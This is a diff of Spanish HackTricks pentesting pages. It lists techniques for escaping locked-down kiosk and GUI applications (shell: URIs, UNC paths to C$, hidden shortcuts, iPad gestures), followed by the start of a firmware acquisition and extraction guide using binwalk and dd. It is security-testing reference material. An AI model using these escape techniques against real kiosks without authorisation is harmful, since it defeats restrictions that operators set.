<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Verificar posibles acciones dentro de la aplicación GUI
# Verifique las posibles acciones dentro de la aplicación GUI
Los **Diálogos comunes** son esas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría ofrecerá una funcionalidad completa de Explorador. Esto significa que podrás acceder a funcionalidades de Explorador si puedes acceder a estas opciones:
**Diálogos Comunes** son aquellas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría de ellos **ofrecerán una funcionalidad completa de Explorador**. Esto significa que podrás acceder a las funcionalidades del Explorador si puedes acceder a estas opciones:
* Cerrar/Cerrar como
* Abrir/Abrir con
@ -28,16 +29,16 @@ Deberías verificar si puedes:
* Modificar o crear nuevos archivos
* Crear enlaces simbólicos
* Acceder a áreas restringidas
* Obtener acceso a áreas restringidas
* Ejecutar otras aplicaciones
## Ejecución de comandos
## Ejecución de Comandos
Tal vez **usando la opción `Abrir con`** puedas abrir/ejecutar algún tipo de shell.
Quizás **usando una opción `Abrir con`** puedas abrir/ejecutar algún tipo de shell.
### Windows
Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que se pueden usar para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que pueden ser utilizados para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX __
@ -45,14 +46,14 @@ _bash, sh, zsh..._ Más aquí: [https://gtfobins.github.io/](https://gtfobins.gi
# Windows
## Saltando restricciones de ruta
## Eludir restricciones de ruta
* **Variables de entorno**: Hay muchas variables de entorno que apuntan a alguna ruta
* **Otros protocolos**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Enlaces simbólicos**
* **Accesos directos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Diálogo de Archivo/Abrir), CTRL-P (Diálogo de Impresión), CTRL-S (Guardar como)
* **Accesos directos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar Comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Archivo/Abrir Diálogo), CTRL-P (Diálogo de Imprimir), CTRL-S (Guardar como)
* Menú administrativo oculto: CTRL-ALT-F8, CTRL-ESC-F9
* **URIs de shell**: _shell:Herramientas Administrativas, shell:Bibliotecas de Documentos, shell:Bibliotecas, shell:Perfiles de Usuario, shell:Personal, shell:Carpeta de Inicio de Búsqueda, shell:Carpeta de Lugares de Red, shell:Enviar a, shell:Perfiles de Usuario, shell:Herramientas Administrativas Comunes, shell:Carpeta de Mi PC, shell:Carpeta de Internet_
* **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **Rutas UNC**: Rutas para conectarse a carpetas compartidas. Deberías intentar conectarte al C$ de la máquina local ("\\\127.0.0.1\c$\Windows\System32")
* **Más rutas UNC:**
@ -68,11 +69,11 @@ _bash, sh, zsh..._ Más aquí: [https://gtfobins.github.io/](https://gtfobins.gi
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
## Descarga tus Binarios
## Descarga tus binarios
Consola: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Explorador: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
Editor del registro: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
## Accediendo al sistema de archivos desde el navegador
@ -86,29 +87,29 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
## Accesos directos
## Atajos
* Teclas de Acceso Rápido Presiona SHIFT 5 veces
* Teclas de Ratón SHIFT+ALT+BLOQ NUM
* Alto Contraste SHIFT+ALT+IMPR PANT
* Teclas de Alternancia Mantén BLOQ NUM durante 5 segundos
* Teclas de Filtro Mantén pulsada la tecla derecha SHIFT durante 12 segundos
* Teclas adhesivas Presiona SHIFT 5 veces
* Teclas de mouse SHIFT+ALT+NUMLOCK
* Alto contraste SHIFT+ALT+PRINTSCN
* Teclas de alternancia Mantén NUMLOCK durante 5 segundos
* Teclas de filtro Mantén SHIFT derecho durante 12 segundos
* WINDOWS+F1 Búsqueda de Windows
* WINDOWS+D Mostrar Escritorio
* WINDOWS+E Abrir Explorador de Windows
* WINDOWS+D Mostrar escritorio
* WINDOWS+E Lanzar el explorador de Windows
* WINDOWS+R Ejecutar
* WINDOWS+U Centro de Accesibilidad
* WINDOWS+F Búsqueda
* WINDOWS+U Centro de accesibilidad
* WINDOWS+F Buscar
* SHIFT+F10 Menú contextual
* CTRL+SHIFT+ESC Administrador de tareas
* CTRL+ALT+SUPR Pantalla de inicio en versiones más nuevas de Windows
* F1 Ayuda F3 Búsqueda
* CTRL+ALT+DEL Pantalla de inicio en versiones más nuevas de Windows
* F1 Ayuda F3 Buscar
* F6 Barra de direcciones
* F11 Alternar pantalla completa dentro de Internet Explorer
* CTRL+H Historial de Internet Explorer
* CTRL+T Internet Explorer Nueva Pestaña
* CTRL+N Internet Explorer Nueva Página
* CTRL+O Abrir Archivo
* CTRL+T Internet Explorer Nueva pestaña
* CTRL+N Internet Explorer Nueva página
* CTRL+O Abrir archivo
* CTRL+S Guardar CTRL+N Nueva RDP / Citrix
## Deslizamientos
@ -122,41 +123,41 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour
### 'Barra de herramientas de imagen'
Es una barra de herramientas que aparece en la parte superior izquierda de la imagen cuando se hace clic en ella. Podrás Guardar, Imprimir, Enviar por correo electrónico, Abrir "Mis imágenes" en el Explorador. El Kiosk debe estar utilizando Internet Explorer.
Es una barra de herramientas que aparece en la parte superior izquierda de la imagen cuando se hace clic. Podrás Guardar, Imprimir, Mailto, Abrir "Mis Imágenes" en el Explorador. El Kiosco necesita estar usando Internet Explorer.
### Protocolo Shell
Escribe estas URL para obtener una vista de Explorador:
* `shell:Herramientas Administrativas`
* `shell:Bibliotecas de Documentos`
* `shell:Bibliotecas`
* `shell:Perfiles de Usuario`
* `shell:Administrative Tools`
* `shell:DocumentsLibrary`
* `shell:Libraries`
* `shell:UserProfiles`
* `shell:Personal`
* `shell:Carpeta de Inicio de Búsqueda`
* `shell:Carpeta de Lugares de Red`
* `shell:Enviar a`
* `shell:Perfiles de Usuario`
* `shell:Herramientas Administrativas Comunes`
* `shell:Carpeta de Mi PC`
* `shell:Carpeta de Internet`
* `Shell:Perfil`
* `Shell:Archivos de Programa`
* `Shell:Sistema`
* `Shell:Panel de Control`
* `shell:SearchHomeFolder`
* `shell:NetworkPlacesFolder`
* `shell:SendTo`
* `shell:UserProfiles`
* `shell:Common Administrative Tools`
* `shell:MyComputerFolder`
* `shell:InternetFolder`
* `Shell:Profile`
* `Shell:ProgramFiles`
* `Shell:System`
* `Shell:ControlPanelFolder`
* `Shell:Windows`
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Panel de Control
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mi PC
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mis sitios de red
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mi Computadora
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mis Lugares de Red
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
## Mostrar Extensiones de Archivos
## Mostrar extensiones de archivo
Consulta esta página para más información: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
# Trucos de Navegadores
# Trucos de navegadores
Versiones de iKat de respaldo:
Versiones de respaldo de iKat:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
@ -172,9 +173,9 @@ Fuente: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811
* Desliza de un lado a otro con cuatro o cinco dedos: Para cambiar a la siguiente/última aplicación
* Pellizca la pantalla con cinco dedos / Toca el botón de inicio / Desliza hacia arriba con 1 dedo desde la parte inferior de la pantalla en un movimiento rápido hacia arriba: Para acceder a Inicio
* Pellizca la pantalla con cinco dedos / Toca el botón de inicio / Desliza hacia arriba con 1 dedo desde la parte inferior de la pantalla en un movimiento rápido hacia arriba: Para acceder a la pantalla de inicio
* Desliza un dedo desde la parte inferior de la pantalla solo 1-2 pulgadas (lento): Aparecerá el dock
* Desliza un dedo desde la parte inferior de la pantalla solo 1-2 pulgadas (lento): La base aparecerá
* Desliza hacia abajo desde la parte superior de la pantalla con 1 dedo: Para ver tus notificaciones
@ -182,25 +183,25 @@ Fuente: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811
* Desliza 1 dedo desde el lado izquierdo de la pantalla 1-2 pulgadas: Para ver la vista de Hoy
* Desliza rápido 1 dedo desde el centro de la pantalla hacia la derecha o izquierda: Para cambiar a la siguiente/última aplicación
* Desliza rápido 1 dedo desde el centro de la pantalla hacia la derecha o hacia la izquierda: Para cambiar a la siguiente/última aplicación
* Presiona y mantén presionado el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad +** Mueve el deslizador de **apagado** todo el camino hacia la derecha: Para apagar
* Presiona y mantén el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad +** Mueve el control deslizante de **apagar** todo el camino hacia la derecha: Para apagar
* Presiona el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad y el botón de Inicio durante unos segundos**: Para forzar un apagado duro
* Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio durante unos segundos**: Para forzar un apagado duro
* Presiona el botón de Encendido/**Apagado**/Suspensión en la esquina superior derecha del **iPad y el botón de Inicio rápidamente**: Para tomar una captura de pantalla que aparecerá en la esquina inferior izquierda de la pantalla. Presiona ambos botones al mismo tiempo brevemente, ya que si los mantienes presionados unos segundos se realizará un apagado duro.
* Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio rápidamente**: Para tomar una captura de pantalla que aparecerá en la parte inferior izquierda de la pantalla. Presiona ambos botones al mismo tiempo muy brevemente, ya que si los mantienes durante unos segundos se realizará un apagado duro.
## Atajos
Deberías tener un teclado para iPad o un adaptador de teclado USB. Aquí solo se mostrarán los atajos que podrían ayudar a escapar de la aplicación.
Deberías tener un teclado de iPad o un adaptador de teclado USB. Solo se mostrarán los atajos que podrían ayudar a escapar de la aplicación.
| Tecla | Nombre |
| --- | ------------ |
| ⌘ | Comando |
| ⌥ | Opción (Alt) |
| ⇧ | Mayúsculas |
| ⇧ | Shift |
| ↩ | Retorno |
| ⇥ | Tabulador |
| ⇥ | Tab |
| ^ | Control |
| ← | Flecha Izquierda |
| → | Flecha Derecha |
@ -213,41 +214,41 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
| Atajo | Acción |
| -------- | ------------------------------------------------------------------------------ |
| F1 | Disminuir brillo de la pantalla |
| F2 | Aumentar brillo de la pantalla |
| F1 | Atenuar pantalla |
| F2 | Aumentar brillo |
| F7 | Retroceder una canción |
| F8 | Reproducir/pausar |
| F9 | Saltar canción |
| F10 | Silenciar |
| F11 | Disminuir volumen |
| F12 | Aumentar volumen |
| ⌘ Espacio | Mostrar una lista de idiomas disponibles; para elegir uno, toca de nuevo la barra espaciadora. |
| ⌘ Espacio | Mostrar una lista de idiomas disponibles; para elegir uno, toca la barra espaciadora nuevamente. |
### Navegación en iPad
| Atajo | Acción |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Ir a Inicio |
| ⌘⇧H (Comando-Mayúsculas-H) | Ir a Inicio |
| ⌘⇧H (Comando-Shift-H) | Ir a Inicio |
| ⌘ (Espacio) | Abrir Spotlight |
| ⌘⇥ (Comando-Tab) | Listar las últimas diez aplicaciones usadas |
| ⌘⇥ (Comando-Tab) | Listar las últimas diez aplicaciones utilizadas |
| ⌘\~ | Ir a la última aplicación |
| ⌘⇧3 (Comando-Mayúsculas-3) | Captura de pantalla (aparece en la esquina inferior izquierda para guardar o actuar sobre ella) |
| ⌘⇧3 (Comando-Shift-3) | Captura de pantalla (flota en la parte inferior izquierda para guardar o actuar sobre ella) |
| ⌘⇧4 | Captura de pantalla y ábrela en el editor |
| Presiona y mantén ⌘ | Lista de atajos disponibles para la aplicación |
| ⌘⌥D (Comando-Opción/Alt-D) | Muestra el dock |
| ^⌥H (Control-Opción-H) | Botón de Inicio |
| ^⌥H (Control-Opción-H) | Botón de inicio |
| ^⌥H H (Control-Opción-H-H) | Mostrar barra de multitarea |
| ^⌥I (Control-Opción-i) | Selector de elementos |
| ^⌥I (Control-Opción-i) | Selector de ítems |
| Escape | Botón de retroceso |
| → (Flecha derecha) | Siguiente elemento |
| ← (Flecha izquierda) | Elemento anterior |
| ↑↓ (Flecha arriba, Flecha abajo) | Toca simultáneamente el elemento seleccionado |
| → (Flecha derecha) | Siguiente ítem |
| ← (Flecha izquierda) | Ítem anterior |
| ↑↓ (Flecha arriba, Flecha abajo) | Toca simultáneamente el ítem seleccionado |
| ⌥ ↓ (Opción-Flecha abajo) | Desplazarse hacia abajo |
| ⌥↑ (Opción-Flecha arriba) | Desplazarse hacia arriba |
| ⌥← o ⌥→ (Opción-Flecha izquierda o Opción-Flecha derecha) | Desplazarse hacia la izquierda o derecha |
| ⌥← o ⌥→ (Opción-Flecha izquierda o Opción-Flecha derecha) | Desplazarse a la izquierda o a la derecha |
| ^⌥S (Control-Opción-S) | Activar o desactivar el habla de VoiceOver |
| ⌘⇧⇥ (Comando-Mayúsculas-Tab) | Cambiar a la aplicación anterior |
| ⌘⇧⇥ (Comando-Shift-Tab) | Cambiar a la aplicación anterior |
| ⌘⇥ (Comando-Tab) | Volver a la aplicación original |
| ←+→, luego Opción + ← o Opción+→ | Navegar a través del Dock |
@ -260,5 +261,44 @@ Estos atajos son para la configuración visual y de sonido, dependiendo del uso
| ⌘W | Cerrar la pestaña actual |
| ⌘R | Actualizar la pestaña actual |
| ⌘. | Detener la carga de la pestaña actual |
| ^⇥ | Cambiar a la siguiente pestaña |
| ^⇧⇥ (Control-Mayúsculas-Tab) | Mover a la p
| ^⇥ | Cambiar a la siguiente pestaña |
| ^⇧⇥ (Control-Shift-Tab) | Moverse a la pestaña anterior |
| ⌘L | Seleccionar el campo de entrada de texto/URL para modificarlo |
| ⌘⇧T (Comando-Shift-T) | Abrir la última pestaña cerrada (se puede usar varias veces) |
| ⌘\[ | Regresar una página en tu historial de navegación |
| ⌘] | Avanzar una página en tu historial de navegación |
| ⌘⇧R | Activar Modo Lector |
### Atajos de Mail
| Atajo | Acción |
| -------------------------- | ---------------------------- |
| ⌘L | Abrir Ubicación |
| ⌘T | Abrir una nueva pestaña |
| ⌘W | Cerrar la pestaña actual |
| ⌘R | Actualizar la pestaña actual |
| ⌘. | Detener la carga de la pestaña |
| ⌘⌥F (Comando-Opción/Alt-F) | Buscar en tu bandeja de entrada |
# Referencias
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,55 +1,56 @@
# Análisis de Firmware
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
## **Introducción**
El firmware es un software esencial que permite que los dispositivos funcionen correctamente al gestionar y facilitar la comunicación entre los componentes de hardware y el software con el que interactúan los usuarios. Se almacena en memoria permanente, asegurando que el dispositivo pueda acceder a instrucciones vitales desde el momento en que se enciende, lo que lleva al inicio del sistema operativo. Examinar y potencialmente modificar el firmware es un paso crítico para identificar vulnerabilidades de seguridad.
El firmware es un software esencial que permite a los dispositivos operar correctamente al gestionar y facilitar la comunicación entre los componentes de hardware y el software con el que los usuarios interactúan. Se almacena en memoria permanente, asegurando que el dispositivo pueda acceder a instrucciones vitales desde el momento en que se enciende, lo que lleva al lanzamiento del sistema operativo. Examinar y potencialmente modificar el firmware es un paso crítico para identificar vulnerabilidades de seguridad.
## **Recopilación de Información**
## **Recolección de Información**
La **recopilación de información** es un paso inicial crítico para comprender la composición de un dispositivo y las tecnologías que utiliza. Este proceso implica recopilar datos sobre:
**La recolección de información** es un paso inicial crítico para entender la composición de un dispositivo y las tecnologías que utiliza. Este proceso implica recopilar datos sobre:
- La arquitectura de la CPU y el sistema operativo que ejecuta
- Especificaciones del cargador de arranque
- Especificaciones del bootloader
- Diseño de hardware y hojas de datos
- Métricas de la base de código y ubicaciones de origen
- Bibliotecas externas y tipos de licencias
- Bibliotecas externas y tipos de licencia
- Historiales de actualizaciones y certificaciones regulatorias
- Diagramas arquitectónicos y de flujo
- Evaluaciones de seguridad y vulnerabilidades identificadas
Para este propósito, las herramientas de **inteligencia de código abierto (OSINT)** son invaluables, al igual que el análisis de cualquier componente de software de código abierto disponible a través de procesos de revisión manuales y automatizados. Herramientas como [Coverity Scan](https://scan.coverity.com) y [LGTM de Semmle](https://lgtm.com/#explore) ofrecen análisis estático gratuito que se puede aprovechar para encontrar problemas potenciales.
Para este propósito, las herramientas de **inteligencia de código abierto (OSINT)** son invaluables, al igual que el análisis de cualquier componente de software de código abierto disponible a través de procesos de revisión manual y automatizada. Herramientas como [Coverity Scan](https://scan.coverity.com) y [LGTM de Semmle](https://lgtm.com/#explore) ofrecen análisis estático gratuito que se puede aprovechar para encontrar problemas potenciales.
## **Adquisición del Firmware**
La obtención del firmware puede abordarse a través de varios medios, cada uno con su propio nivel de complejidad:
Obtener firmware se puede abordar a través de varios medios, cada uno con su propio nivel de complejidad:
- **Directamente** desde la fuente (desarrolladores, fabricantes)
- **Compilándolo** siguiendo las instrucciones proporcionadas
- **Descargándolo** desde sitios de soporte oficiales
- **Directamente** de la fuente (desarrolladores, fabricantes)
- **Construyéndolo** a partir de instrucciones proporcionadas
- **Descargando** de sitios de soporte oficiales
- Utilizando consultas de **Google dork** para encontrar archivos de firmware alojados
- Accediendo al almacenamiento **en la nube** directamente, con herramientas como [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Interceptando **actualizaciones** mediante técnicas de hombre en el medio
- **Extrayéndolo** del dispositivo a través de conexiones como **UART**, **JTAG** o **PICit**
- **Esperando** solicitudes de actualización dentro de la comunicación del dispositivo
- Accediendo a **almacenamiento en la nube** directamente, con herramientas como [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Interceptando **actualizaciones** a través de técnicas de hombre en el medio
- **Extrayendo** del dispositivo a través de conexiones como **UART**, **JTAG** o **PICit**
- **Esnifando** solicitudes de actualización dentro de la comunicación del dispositivo
- Identificando y utilizando **puntos finales de actualización codificados**
- **Volcando** desde el cargador de arranque o la red
- **Quitando y leyendo** el chip de almacenamiento, cuando todo lo demás falla, utilizando herramientas de hardware apropiadas
- **Dumping** desde el bootloader o la red
- **Retirando y leyendo** el chip de almacenamiento, cuando todo lo demás falla, utilizando herramientas de hardware apropiadas
## Análisis del firmware
## Analizando el firmware
Ahora que **tienes el firmware**, necesitas extraer información sobre él para saber cómo tratarlo. Diferentes herramientas que puedes usar para eso:
```bash
@ -62,7 +63,7 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Si no encuentras mucho con esas herramientas, verifica la **entropía** de la imagen con `binwalk -E <bin>`, si la entropía es baja, entonces es poco probable que esté encriptada. Si la entropía es alta, es probable que esté encriptada (o comprimida de alguna manera).
Además, puedes utilizar estas herramientas para extraer **archivos incrustados dentro del firmware**:
Además, puedes usar estas herramientas para extraer **archivos incrustados dentro del firmware**:
{% content-ref url="../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
@ -70,14 +71,14 @@ Además, puedes utilizar estas herramientas para extraer **archivos incrustados
O [**binvis.io**](https://binvis.io/#/) ([código](https://code.google.com/archive/p/binvis/)) para inspeccionar el archivo.
### Obteniendo el Sistema de Archivos
### Obtener el Sistema de Archivos
Con las herramientas mencionadas anteriormente como `binwalk -ev <bin>`, deberías haber podido **extraer el sistema de archivos**.\
Binwalk generalmente lo extrae dentro de una **carpeta con el nombre del tipo de sistema de archivos**, que suele ser uno de los siguientes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
Con las herramientas comentadas anteriormente como `binwalk -ev <bin>`, deberías haber podido **extraer el sistema de archivos**.\
Binwalk generalmente lo extrae dentro de una **carpeta nombrada como el tipo de sistema de archivos**, que generalmente es uno de los siguientes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Extracción Manual del Sistema de Archivos
A veces, binwalk **no tendrá el byte mágico del sistema de archivos en sus firmas**. En estos casos, utiliza binwalk para **encontrar el desplazamiento del sistema de archivos y tallar el sistema de archivos comprimido** del binario y **extraer manualmente** el sistema de archivos según su tipo siguiendo los pasos a continuación.
A veces, binwalk **no tendrá el byte mágico del sistema de archivos en sus firmas**. En estos casos, usa binwalk para **encontrar el desplazamiento del sistema de archivos y tallar el sistema de archivos comprimido** del binario y **extraer manualmente** el sistema de archivos según su tipo utilizando los pasos a continuación.
```
$ binwalk DIR850L_REVB.bin
@ -89,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Ejecuta el siguiente **comando dd** tallando el sistema de archivos Squashfs.
Ejecute el siguiente **dd command** extrayendo el sistema de archivos Squashfs.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
